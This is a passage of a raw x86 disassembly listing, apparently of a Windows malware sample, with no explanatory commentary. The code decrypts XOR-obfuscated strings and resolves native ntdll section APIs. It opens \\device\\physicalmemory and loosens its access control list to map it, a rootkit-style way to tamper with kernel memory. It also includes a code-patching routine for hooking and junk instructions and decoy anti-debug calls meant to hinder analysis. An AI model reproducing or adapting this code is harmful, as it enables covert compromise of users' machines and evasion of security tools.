; CODE XREF: sub_401B83+91j ; sub_401B83+9Aj ... mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_40C6E0 ; lstrlenA mov ebx, eax or ebx, ebx jz short loc_401C7C mov dword ptr [ebp-0Ch], 1C80h add dword ptr [ebp-0Ch], 2EFDh mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax push [ebp+arg_8] call sub_40C45C call sub_40C5D8 ; IsDebuggerPresent mov eax, [ebp+arg_4] add eax, ebx jmp short loc_401C7E ; --------------------------------------------------------------------------- loc_401C7C: ; CODE XREF: sub_401B83+CEj xor eax, eax loc_401C7E: ; CODE XREF: sub_401B83+81j ; sub_401B83+BCj ... pop edi pop esi pop ebx leave retn sub_401B83 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43C2B0 lea eax, ds:437140h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_401CC0 ; --------------------------------------------------------------------------- loc_401CA9: ; CODE XREF: .text:00401CC2j mov eax, dword_43C2B0 add eax, edi lea eax, ds:437140h[eax] movsx edx, byte ptr [eax] xor edx, 22h mov [eax], dl inc edi loc_401CC0: ; CODE XREF: .text:00401CA7j cmp edi, esi jl short loc_401CA9 mov eax, dword_43C2B0 add eax, esi mov byte ptr ds:dword_437140[eax], 0 mov edi, dword_43C2B0 mov eax, edi add eax, 5 add eax, esi mov dword_43C2B0, eax add dword_43C2B0, 3 cmp dword_43C2B0, 0DEDh jle short loc_401CFF and dword_43C2B0, 0 loc_401CFF: ; CODE XREF: .text:00401CF6j and dword ptr [ebp-4], 0 lea eax, dword_437140[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D0D proc near ; CODE XREF: sub_4028B9+97p var_25 = byte ptr -25h var_20 = dword ptr -20h var_19 = byte ptr -19h var_16 = byte ptr -16h var_10 = dword ptr -10h var_C = word ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_3 = word ptr -3 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi call sub_40C518 ; GetProcessHeap inc dword_43C230 mov ax, word_43C2B4 mov [ebp+var_3], ax mov ebx, [ebp+arg_0] and ds:dword_40DFD4, 0 and ds:dword_41EB58, 0 and ds:dword_41EB70, 0 and ds:dword_40F088, 0 mov ds:dword_41B774, 4 mov ds:dword_414EE4, 4 loc_401D5E: ; CODE XREF: sub_401D0D+136j ; sub_401D0D+162j ... mov eax, ebx inc ebx mov al, [eax] mov ds:byte_414EE0, al movzx eax, ds:byte_414EE0 or eax, eax jl loc_402008 cmp eax, 0FFh jg loc_402008 jmp off_43C2C4[eax*4] ; --------------------------------------------------------------------------- mov [ebp+var_9], 0D6h movzx eax, [ebp+var_9] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_9], al loc_401D9A: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... or byte ptr ds:dword_41EB58, 40h jmp loc_402008 ; --------------------------------------------------------------------------- inc dword_43C230 loc_401DAC: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... xor eax, eax cmp byte ptr [ebx], 20h setnz al dec eax and eax, 4 inc eax mov [ebp+var_20], eax add ds:dword_41EB70, eax jmp loc_402008 ; --------------------------------------------------------------------------- loc_401DC7: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... or byte ptr ds:dword_41EB58, 40h test byte ptr [ebx], 38h jnz loc_402008 call sub_40C548 ; GetTickCount loc_401DDC: ; CODE XREF: sub_401D0D+75j ; DATA XREF: .data:0043C2D4o ... test ds:byte_414EE0, 1 jz short loc_401DF5 mov eax, ds:dword_41B774 add ds:dword_41EB70, eax jmp loc_402008 ; --------------------------------------------------------------------------- loc_401DF5: ; CODE XREF: sub_401D0D+D6j inc ds:dword_41EB70 jmp loc_402008 ; --------------------------------------------------------------------------- loc_401E00: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... inc ds:dword_41EB70 jmp loc_402008 ; --------------------------------------------------------------------------- inc dword_43C230 loc_401E11: ; CODE XREF: sub_401D0D+75j ; DATA XREF: .data:0043C35Co ... test byte ptr ds:dword_41EB58, 10h jz short loc_401E21 xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_401E21: ; CODE XREF: sub_401D0D+10Bj lea edi, [ebp+var_16] lea esi, aRg ; "~ /rG" mov ecx, 3 rep movsw or byte ptr ds:dword_41EB58, 10h mov al, ds:byte_414EE0 mov ds:byte_40F094, al jmp loc_401D5E ; --------------------------------------------------------------------------- loc_401E48: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... test byte ptr ds:dword_41EB58, 4 jz short loc_401E58 xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_401E58: ; CODE XREF: sub_401D0D+142j lea edi, [ebp+var_19] lea esi, aOv ; "O" mov ecx, 3 rep movsb or byte ptr ds:dword_41EB58, 4 jmp loc_401D5E ; --------------------------------------------------------------------------- loc_401E74: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... test byte ptr ds:dword_41EB58, 8 jz short loc_401E84 xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_401E84: ; CODE XREF: sub_401D0D+16Ej call sub_40C5D8 ; IsDebuggerPresent or byte ptr ds:dword_41EB58, 8 mov al, ds:byte_414EE0 mov ds:byte_41FC70, al jmp loc_401D5E ; --------------------------------------------------------------------------- loc_401E9F: ; CODE XREF: sub_401D0D+75j ; DATA XREF: .data:0043C45Co test byte ptr ds:dword_41EB58, 1 jz short loc_401EAF xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_401EAF: ; CODE XREF: sub_401D0D+199j call sub_40C4C4 ; GetCurrentThreadId or byte ptr ds:dword_41EB58, 1 mov ds:dword_41B774, 2 jmp loc_401D5E ; --------------------------------------------------------------------------- loc_401ECA: ; CODE XREF: sub_401D0D+75j ; DATA XREF: .data:0043C460o test byte ptr ds:dword_41EB58, 2 jz short loc_401EDA xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_401EDA: ; CODE XREF: sub_401D0D+1C4j mov [ebp+var_10], 2133h inc [ebp+var_10] or byte ptr ds:dword_41EB58, 2 mov ds:dword_414EE4, 2 jmp loc_401D5E ; --------------------------------------------------------------------------- inc dword_43C230 loc_401F00: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... inc ds:dword_41EB70 or byte ptr ds:dword_41EB58, 40h jmp loc_402008 ; --------------------------------------------------------------------------- loc_401F12: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... mov eax, ds:dword_41B774 add ds:dword_41EB70, eax or byte ptr ds:dword_41EB58, 40h jmp loc_402008 ; --------------------------------------------------------------------------- loc_401F29: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... mov eax, ds:dword_41B774 add eax, 2 add ds:dword_41EB70, eax jmp loc_402008 ; --------------------------------------------------------------------------- loc_401F3C: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... mov eax, ds:dword_414EE4 add ds:dword_40F088, eax jmp loc_402008 ; --------------------------------------------------------------------------- loc_401F4C: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... mov eax, ds:dword_41B774 add ds:dword_41EB70, eax jmp loc_402008 ; --------------------------------------------------------------------------- inc dword_43C230 loc_401F62: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... add ds:dword_41EB70, 2 jmp loc_402008 ; --------------------------------------------------------------------------- loc_401F6E: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... add ds:dword_41EB70, 3 jmp loc_402008 ; --------------------------------------------------------------------------- loc_401F7A: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+2AAj ; DATA XREF: ... xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_401F81: ; CODE XREF: sub_401D0D+75j ; DATA XREF: .data:0043C300o or byte ptr ds:dword_41EB58, 20h mov eax, ebx inc ebx mov al, [eax] mov ds:byte_42FC80, al movzx eax, ds:byte_42FC80 or eax, eax jl short loc_402001 cmp eax, 0Bh jg short loc_401FA9 jmp off_43C6C4[eax*4] ; --------------------------------------------------------------------------- loc_401FA9: ; CODE XREF: sub_401D0D+293j cmp eax, 80h jl short loc_402001 cmp eax, 0CFh jg short loc_402001 jmp off_43C4F4[eax*4] ; --------------------------------------------------------------------------- call sub_40C554 ; GetVersion loc_401FC3: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+295j ... or byte ptr ds:dword_41EB58, 40h mov [ebp+var_25], 0FCh movzx eax, [ebp+var_25] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_25], al jmp short loc_402008 ; --------------------------------------------------------------------------- inc dword_43C230 jmp short loc_402008 ; --------------------------------------------------------------------------- loc_401FE5: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+295j ... mov eax, ds:dword_41B774 add ds:dword_41EB70, eax jmp short loc_402008 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+295j ... inc ds:dword_41EB70 or byte ptr ds:dword_41EB58, 40h jmp short loc_402008 ; --------------------------------------------------------------------------- loc_402001: ; CODE XREF: sub_401D0D+75j ; sub_401D0D+28Ej ... xor eax, eax jmp loc_4021A0 ; --------------------------------------------------------------------------- loc_402008: ; CODE XREF: sub_401D0D+64j ; sub_401D0D+6Fj ... inc dword_43C230 test byte ptr ds:dword_41EB58, 40h jz loc_402120 call sub_40C548 ; GetTickCount mov eax, ebx inc ebx mov al, [eax] mov ds:byte_430C60, al call sub_40C518 ; GetProcessHeap movzx eax, ds:byte_430C60 and eax, 0C0h mov [ebp+var_9], al movzx eax, ds:byte_430C60 and eax, 7 mov [ebp+var_A], al movzx eax, [ebp+var_9] cmp eax, 0C0h jz loc_402120 mov [ebp+var_C], 4B49h sub [ebp+var_C], 2DCFh cmp [ebp+var_9], 40h jnz short loc_402072 inc ds:dword_40F088 loc_402072: ; CODE XREF: sub_401D0D+35Dj movzx eax, [ebp+var_9] cmp eax, 80h jnz short loc_402088 mov eax, ds:dword_414EE4 add ds:dword_40F088, eax loc_402088: ; CODE XREF: sub_401D0D+36Ej mov word ptr [ebp+var_10+2], 1345h sub word ptr [ebp+var_10+2], 1AC8h cmp ds:dword_414EE4, 2 jnz short loc_4020C3 mov byte ptr [ebp+var_10+1], 5Ch movzx eax, byte ptr [ebp+var_10+1] mov edx, eax add edx, eax mov eax, edx mov byte ptr [ebp+var_10+1], al cmp [ebp+var_9], 0 jnz short loc_402120 cmp [ebp+var_A], 6 jnz short loc_402120 add ds:dword_40F088, 2 jmp short loc_402120 ; --------------------------------------------------------------------------- loc_4020C3: ; CODE XREF: sub_401D0D+38Ej mov eax, dword_43C2BF mov [ebp-13h], eax cmp [ebp+var_A], 4 jnz short loc_402105 mov dword ptr [ebp-18h], 368Bh add dword ptr [ebp-18h], 2C53h or byte ptr ds:dword_41EB58, 80h mov [ebp+var_19], 0D4h sub [ebp+var_19], 96h mov eax, ebx inc ebx mov al, [eax] mov ds:byte_41B770, al movzx eax, ds:byte_41B770 and eax, 7 mov [ebp+var_A], al loc_402105: ; CODE XREF: sub_401D0D+3C2j cmp [ebp+var_A], 5 jnz short loc_402118 cmp [ebp+var_9], 0 jnz short loc_402118 add ds:dword_40F088, 4 loc_402118: ; CODE XREF: sub_401D0D+3FCj ; sub_401D0D+402j mov byte ptr [ebp+var_10+1], 5 add byte ptr [ebp+var_10+1], 1 loc_402120: ; CODE XREF: sub_401D0D+308j ; sub_401D0D+347j ... and ds:dword_40F08C, 0 jmp short loc_402141 ; --------------------------------------------------------------------------- loc_402129: ; CODE XREF: sub_401D0D+43Fj mov eax, ebx inc ebx mov edx, ds:dword_40F08C mov al, [eax] mov ds:byte_414ED8[edx], al inc ds:dword_40F08C loc_402141: ; CODE XREF: sub_401D0D+41Aj mov eax, ds:dword_40F088 cmp ds:dword_40F08C, eax jb short loc_402129 mov [ebp+var_1], 0E3h movzx eax, [ebp+var_1] imul eax, 3A17h mov [ebp+var_1], al and ds:dword_40F08C, 0 jmp short loc_402180 ; --------------------------------------------------------------------------- loc_402168: ; CODE XREF: sub_401D0D+47Ej mov eax, ebx inc ebx mov edx, ds:dword_40F08C mov al, [eax] mov ds:byte_43A3A0[edx], al inc ds:dword_40F08C loc_402180: ; CODE XREF: sub_401D0D+459j mov eax, ds:dword_41EB70 cmp ds:dword_40F08C, eax jb short loc_402168 inc dword_43C230 mov eax, ebx sub eax, [ebp+arg_0] mov ds:dword_40DFD4, eax xor eax, eax inc eax loc_4021A0: ; CODE XREF: sub_401D0D+10Fj ; sub_401D0D+146j ... pop edi pop esi pop ebx leave retn sub_401D0D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43CF2C lea eax, ds:4186B0h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_4021E3 ; --------------------------------------------------------------------------- loc_4021CC: ; CODE XREF: .text:004021E5j mov eax, dword_43CF2C add eax, edi lea eax, ds:4186B0h[eax] movsx edx, byte ptr [eax] xor edx, 79h mov [eax], dl inc edi loc_4021E3: ; CODE XREF: .text:004021CAj cmp edi, esi jl short loc_4021CC mov dword ptr [ebp-4], 3DDh mov eax, dword_43CF2C add eax, esi mov byte ptr ds:dword_4186B0[eax], 0 xor edi, edi mov edi, dword_43CF2C add dword_43CF2C, 3 mov eax, dword_43CF2C add eax, 4 add eax, esi mov dword_43CF2C, eax add dword_43CF2C, 2 cmp dword_43CF2C, 0E06h jle short loc_402235 and dword_43CF2C, 0 loc_402235: ; CODE XREF: .text:0040222Cj mov dword ptr [ebp-8], 29h lea eax, dword_4186B0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402246 proc near ; CODE XREF: sub_402AD6+2Ap var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = word ptr -4 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_1], 30h add [ebp+var_1], 2 push offset aNtdll_dll ; "ntdll.dll" call sub_40C500 ; GetModuleHandleA mov ebx, eax push offset aRtlinitunicode ; "RtlInitUnicodeString" push ebx call sub_40C50C ; GetProcAddress mov ds:dword_430C58, eax mov eax, dword_43CFE6 mov [ebp+var_8], eax push offset aNtunmapviewofs ; "NtUnmapViewOfSection" push ebx call sub_40C50C ; GetProcAddress mov ds:dword_41DA78, eax mov [ebp+var_4], 387h movzx eax, [ebp+var_4] imul eax, 946h mov [ebp+var_4], ax push offset aNtopensection ; "NtOpenSection" push ebx call sub_40C50C ; GetProcAddress mov ds:dword_41B77C, eax lea edi, [ebp+var_10] lea esi, a4efo@g ; "4EFo@g^" movsd movsd push offset aNtmapviewofsec ; "NtMapViewOfSection" push ebx call sub_40C50C ; GetProcAddress mov ds:dword_41EB68, eax call sub_40C4C4 ; GetCurrentThreadId push offset aRtlntstatustod ; "RtlNtStatusToDosError" push ebx call sub_40C50C ; GetProcAddress mov ds:dword_430C54, eax pop edi pop esi pop ebx leave retn sub_402246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022E4 proc near ; CODE XREF: sub_402AD6+194p var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_77 = dword ptr -77h var_73 = byte ptr -73h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_56 = word ptr -56h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = word ptr -52h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov [ebp+var_53], 5Ch add [ebp+var_53], 1 mov [ebp+var_54], 2 add [ebp+var_54], 1 push offset aDevicePhysical ; "\\device\\physicalmemory" lea eax, [ebp+var_60] push eax call ds:dword_430C58 mov ebx, 7158h mov eax, ebx add eax, ebx mov ebx, eax mov [ebp+var_18], 18h call sub_40C548 ; GetTickCount and [ebp+var_14], 0 mov [ebp+var_56], 7C6h add [ebp+var_56], 6E76h lea eax, [ebp+var_60] mov [ebp+var_10], eax call sub_40C548 ; GetTickCount mov [ebp+var_C], 40h mov eax, dword_43CFF2 mov [ebp+var_6C], eax xor eax, eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov [ebp+var_30], eax mov [ebp+var_2C], eax mov eax, dword_43CFF6 mov [ebp+var_70], eax mov [ebp+var_28], 1 call sub_40C4E8 ; RtlGetLastWin32Error mov [ebp+var_24], 1 lea edi, [ebp+var_73] lea esi, word_43CFFA mov ecx, 3 rep movsb lea eax, aCurrent_user ; "CURRENT_USER" mov [ebp+var_20], eax mov [ebp+var_52], 6768h movzx eax, [ebp+var_52] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_52], ax mov [ebp+var_50], 2 ; DATA XREF: sub_44041D+2Fo mov ebx, 7DBAh mov eax, 0E10h mul ebx mov [ebp+var_80], eax mov ebx, eax mov [ebp+var_4C], 1 call sub_40C4C4 ; GetCurrentThreadId and [ebp+var_48], 0 mov eax, dword_43CFFD mov [ebp+var_77], eax lea edi, [ebp+var_44] lea esi, [ebp+var_30] mov ecx, 5 rep movsd lea eax, [ebp+var_18] push eax push 60000h lea eax, [ebp+var_1C] push eax call ds:dword_41B77C call sub_40C4E8 ; RtlGetLastWin32Error lea eax, [ebp+var_7C] push eax push 0 lea eax, [ebp+var_64] push eax push 0 push 0 push 4 push 6 push [ebp+var_1C] call sub_40C8FC ; GetSecurityInfo lea eax, [ebp+var_68] push eax push [ebp+var_64] lea eax, [ebp+var_50] push eax mov eax, 10h sub eax, dword_43CF28 push eax call sub_40C914 ; SetEntriesInAclA call sub_40C5D8 ; IsDebuggerPresent push 0 push [ebp+var_68] push 0 push 0 push 4 push 6 push [ebp+var_1C] call sub_40C908 ; SetSecurityInfo call sub_40C554 ; GetVersion push [ebp+var_1C] call sub_40C530 ; CloseHandle call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_18] push eax push [ebp+var_50] lea eax, [ebp+var_1C] push eax call ds:dword_41B77C mov ebx, 5177h inc ebx mov eax, [ebp+var_1C] pop edi pop esi pop ebx leave retn sub_4022E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40247C proc near ; CODE XREF: sub_402AD6+251p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h call sub_40C554 ; GetVersion mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx and [ebp+var_8], 0 xor edx, edx mov [ebp+var_10], edx mov [ebp+var_14], eax push 4 push 0 push 1 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+var_4] push 0 lea eax, [ebp+var_8] push eax push 0FFFFFFFFh push [ebp+arg_0] call ds:dword_41EB68 call sub_40C5D8 ; IsDebuggerPresent mov eax, [ebp+var_8] leave retn sub_40247C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024CB proc near ; CODE XREF: sub_402AD6+320p arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_40C548 ; GetTickCount push [ebp+arg_0] push 0FFFFFFFFh call ds:dword_41DA78 call sub_40C4C4 ; GetCurrentThreadId pop ebp retn sub_4024CB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 2A2h push esi push dword ptr [ebp+8] mov eax, dword_43D00C lea eax, ds:412CC0h[eax] push eax call sub_40C998 add esp, 0Ch mov dword ptr [ebp-8], 178h xor edi, edi jmp short loc_402531 ; --------------------------------------------------------------------------- loc_40251A: ; CODE XREF: .text:00402533j mov eax, dword_43D00C add eax, edi lea eax, ds:412CC0h[eax] movsx edx, byte ptr [eax] xor edx, 1Bh mov [eax], dl inc edi loc_402531: ; CODE XREF: .text:00402518j cmp edi, esi jl short loc_40251A mov eax, dword_43D00C add eax, esi mov byte ptr ds:dword_412CC0[eax], 0 mov edi, dword_43D00C mov eax, edi lea eax, [eax+esi+5] mov dword_43D00C, eax cmp eax, 0DC8h jle short loc_402563 and dword_43D00C, 0 loc_402563: ; CODE XREF: .text:0040255Aj lea eax, dword_412CC0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40256D proc near ; CODE XREF: sub_4028B9+210p var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_1], 1Fh movzx eax, [ebp+var_1] imul eax, 273Eh mov [ebp+var_1], al xor ebx, ebx loc_402589: ; CODE XREF: sub_40256D+341j mov [ebp+var_4], 7BD1h movzx eax, [ebp+var_4] imul eax, 2805h mov [ebp+var_4], ax mov eax, [ebp+arg_0] movzx edx, byte ptr [eax+ebx] cmp edx, 0FFh jnz short loc_4025E3 movzx edx, byte ptr [ebx+eax+1] cmp edx, 0FFh jnz short loc_4025E3 movzx edx, byte ptr [ebx+eax+2] cmp edx, 0FFh jnz short loc_4025E3 movzx edx, byte ptr [ebx+eax+3] cmp edx, 0FFh jnz short loc_4025E3 movzx eax, byte ptr [ebx+eax+4] cmp eax, 0FFh jz loc_4028B4 loc_4025E3: ; CODE XREF: sub_40256D+3Dj ; sub_40256D+4Aj ... call sub_40C4C4 ; GetCurrentThreadId mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] mov edx, [ebp+arg_0] mov dl, [edx+ebx] mov [eax+ebx], dl call sub_40C4B8 ; GetCurrentProcessId mov [ebp+var_2], 0 loc_402604: ; CODE XREF: sub_40256D+19Dj mov eax, [ebp+arg_0] movzx edx, [ebp+var_2] imul edx, 0Ch movzx edx, byte_43D0AC[edx] movzx ecx, byte ptr [eax+ebx] cmp ecx, edx jnz loc_4026F0 mov ecx, ebx dec ecx movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4026F0 mov ecx, ebx sub ecx, 2 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4026F0 mov ecx, ebx sub ecx, 3 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4026F0 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jnz loc_4026F0 call sub_40C4E8 ; RtlGetLastWin32Error movzx eax, [ebp+var_2] imul eax, 0Ch push off_43D0B4[eax] call sub_40C500 ; GetModuleHandleA movzx edi, [ebp+var_2] imul edi, 0Ch push off_43D0B0[edi] push eax call sub_40C50C ; GetProcAddress mov [ebp+var_C], eax call sub_40C5D8 ; IsDebuggerPresent or eax, 0FFFFFFFFh mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] lea edx, [edx+ecx+5] add edx, ebx sub edx, 4 sub eax, edx add eax, [ebp+var_C] sub eax, 4 mov [ebp+var_10], eax mov ax, word_43D118 mov [ebp+var_12], ax mov eax, [ebp+arg_4] mov edx, ecx lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_10] mov ds:1[eax], edx mov [ebp+var_6], 7CF5h movzx eax, [ebp+var_6] imul eax, 6E98h mov [ebp+var_6], ax jmp short loc_40270F ; --------------------------------------------------------------------------- loc_4026F0: ; CODE XREF: sub_40256D+AFj ; sub_40256D+BEj ... movzx eax, [ebp+var_2] imul eax, 0Ch cmp off_43D0B0[eax], 0 jz short loc_40270F call sub_40C4E8 ; RtlGetLastWin32Error add [ebp+var_2], 1 jmp loc_402604 ; --------------------------------------------------------------------------- loc_40270F: ; CODE XREF: sub_40256D+181j ; sub_40256D+192j mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 4 jnz short loc_402794 mov edx, ebx dec edx cmp byte ptr [eax+edx], 4 jnz short loc_402794 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 4 jnz short loc_402794 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 4 jnz short loc_402794 mov edx, ebx sub edx, 4 movzx edx, byte ptr [eax+edx] cmp dl, 68h jz short loc_402758 cmp edx, 0BEh jz short loc_402758 mov edx, ebx sub edx, 5 cmp byte ptr [eax+edx], 24h jnz short loc_402794 loc_402758: ; CODE XREF: sub_40256D+1D6j ; sub_40256D+1DEj mov [ebp+var_6], 7567h movzx eax, [ebp+var_6] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_6], ax mov eax, [ebp+arg_4] add eax, [ebp+arg_8] lea edx, [eax+ebx+5] sub edx, 4 add eax, 7 mov ds:1[edx], eax mov [ebp+var_C], 4D69h mov eax, [ebp+var_C] mov edx, eax add edx, eax mov [ebp+var_C], edx loc_402794: ; CODE XREF: sub_40256D+1A9j ; sub_40256D+1B2j ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 2 jnz loc_402830 mov edx, ebx dec edx cmp byte ptr [eax+edx], 2 jnz loc_402830 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 2 jnz short loc_402830 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 2 jnz short loc_402830 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jz short loc_4027DB cmp eax, 0E9h jnz short loc_402830 loc_4027DB: ; CODE XREF: sub_40256D+265j call sub_40C5D8 ; IsDebuggerPresent mov eax, [ebp+arg_4] or edx, 0FFFFFFFFh mov ecx, [ebp+arg_8] lea ecx, [eax+ecx+5] add ecx, ebx sub ecx, 4 sub edx, ecx add edx, eax mov eax, edx sub eax, 4 mov [ebp+var_C], eax mov byte ptr [ebp+var_6+1], 0F7h movzx eax, byte ptr [ebp+var_6+1] imul eax, 4580h mov byte ptr [ebp+var_6+1], al mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_C] mov ds:1[eax], edx mov eax, dword_43D11A mov [ebp+var_10], eax loc_402830: ; CODE XREF: sub_40256D+22Ej ; sub_40256D+23Bj ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 1 jnz short loc_4028A7 mov edx, ebx dec edx cmp byte ptr [eax+edx], 1 jnz short loc_4028A7 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 1 jnz short loc_4028A7 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 1 jnz short loc_4028A7 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp al, 3Dh jz short loc_402873 cmp eax, 0FEh jz short loc_402873 cmp eax, 0FFh jnz short loc_4028A7 loc_402873: ; CODE XREF: sub_40256D+2F6j ; sub_40256D+2FDj lea edi, [ebp+var_10] lea esi, aYmSu_ ; "ym SU _" movsd movsd call sub_40C4B8 ; GetCurrentProcessId mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] lea edi, [edi+esi+5] add edi, ebx sub edi, 4 mov ds:1[edi], eax mov dword ptr [ebp-8], 50AFh sub dword ptr [ebp-8], 199Ch loc_4028A7: ; CODE XREF: sub_40256D+2CAj ; sub_40256D+2D3j ... inc ebx cmp ebx, 400h jb loc_402589 loc_4028B4: ; CODE XREF: sub_40256D+70j pop edi pop esi pop ebx leave retn sub_40256D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4028B9 proc near ; CODE XREF: sub_402AD6+7DCp var_36 = byte ptr -36h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi lea edi, [ebp+var_26] lea esi, aB_hir ; "b_HiR" mov ecx, 3 rep movsw mov [ebp+var_11], 93h movzx eax, [ebp+var_11] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_11], al mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_402922 ; --------------------------------------------------------------------------- loc_4028EC: ; CODE XREF: sub_4028B9+74j lea edi, [ebp+var_36] lea esi, aNTe ; "$n*-TE " movsd movsd xor ebx, ebx jmp short loc_402905 ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: 